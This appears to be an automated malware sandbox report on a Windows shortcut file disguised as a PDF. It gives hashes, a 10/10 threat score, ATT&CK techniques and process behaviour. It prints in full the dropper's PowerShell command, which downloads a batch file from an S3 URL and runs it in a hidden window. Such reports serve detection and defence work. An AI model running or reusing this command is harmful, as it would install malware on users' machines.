ec99d76761dc1fc2cb6c25f92f80764331e04e060dcf21a228379ad138006d50

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
15/06/2024, 07:51

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General

Target

Telex88357 pdf_lnk.lnk
Size

2KB
MD5

f74968ddce728020a6b4a1378bbf4d41
SHA1

ba807d98906bf7dc33eb237c4da13162f599b595
SHA256

ec99d76761dc1fc2cb6c25f92f80764331e04e060dcf21a228379ad138006d50
SHA512

4a226c31e74305594a34053b5cafa5d11ba37835c7c631734a2d8a0b65f1de85126b76a6befd0901386a1d986d1b5be1e311a9bfea952017e1eb658b37869b82

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://mbycket45344.s3.eu-north-1.amazonaws.com/pcor.bat

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2592	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2592	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2592	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2964 wrote to memory of 2592	2964	cmd.exe	29
PID 2964 wrote to memory of 2592	2964	cmd.exe	29
PID 2964 wrote to memory of 2592	2964	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Telex88357 pdf_lnk.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$wc=New-Object Net.WebClient; $wc.DownloadFile('https://mbycket45344.s3.eu-north-1.amazonaws.com/pcor.bat', 'C:\Users\Admin\AppData\Roaming\cor.bat'); Start-Process -WindowStyle Hidden 'C:\Users\Admin\AppData\Roaming\cor.bat'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2592-38-0x000007FEF565E000-0x000007FEF565F000-memory.dmp

Filesize
4KB

Download
memory/2592-39-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2592-40-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/2592-41-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-42-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-43-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download